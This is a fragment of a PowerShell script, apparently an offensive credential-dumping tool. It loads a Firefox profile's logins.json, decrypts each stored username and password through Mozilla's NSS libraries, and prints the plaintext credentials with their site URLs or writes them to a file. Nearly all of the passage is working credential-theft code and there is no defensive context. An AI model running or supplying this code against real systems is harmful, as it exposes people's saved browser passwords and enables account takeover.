932 if(Test-Path $defaultProfile) {
933 #Web.extensions assembly is necessary for handling json files
934 try {
935 Add-Type -AssemblyName System.web.extensions
936 }
937 catch {
938 Write-Warning "Unable to load System.web.extensions assembly"
939 break
940 }
941
942
943 $jsonFile = Get-Content "$defaultProfile\logins.json"
944 if(!($jsonFile)) {
945 Write-Warning "Login information cannot be found in logins.json"
946 break
947 }
948 $ser = New-Object System.Web.Script.Serialization.JavaScriptSerializer
949 $obj = $ser.DeserializeObject($jsonFile)
950
951
952 $logins = $obj['logins']
953 $count = ($logins.Count) - 1
954 $passwordlist = @()
955 #Iterate through each login entry and decrypt the username and password fields
956 for($i = 0; $i -le $count; $i++) {
957 Write-Verbose "[+]Decrypting login information..."
958 $user = Decrypt-CipherText $($logins.GetValue($i)['encryptedUsername'])
959 $pass = Decrypt-CipherText $($logins.GetValue($i)['encryptedPassword'])
960 $formUrl = $($logins.GetValue($i)['formSubmitURL'])
961 $FoxCreds = New-Object PSObject -Property @{
962 UserName = $user
963 Password = $pass
964 URL = $formUrl
965 }
966 $passwordlist += $FoxCreds
967 }
968 #Spit out the results to a file.... or not.
969 if($OutFile) {
970 $passwordlist | Format-List URL, UserName, Password | Out-File -Encoding ascii $OutFile
971 } else {
972 $passwordlist | Format-List URL, UserName, Password
973 }
974
975 $kernel32::FreeLibrary($msvcp120dllHandle) | Out-Null
976 $Kernel32::FreeLibrary($msvcr120dllHandle) | Out-Null
977 $kernel32::FreeLibrary($mozgluedllHandle) | Out-Null
978 $kernel32::FreeLibrary($nssdllhandle) | Out-Null
979
980 } else {
981 Write-Warning "Unable to locate default profile"
982 }
983
984
985}
986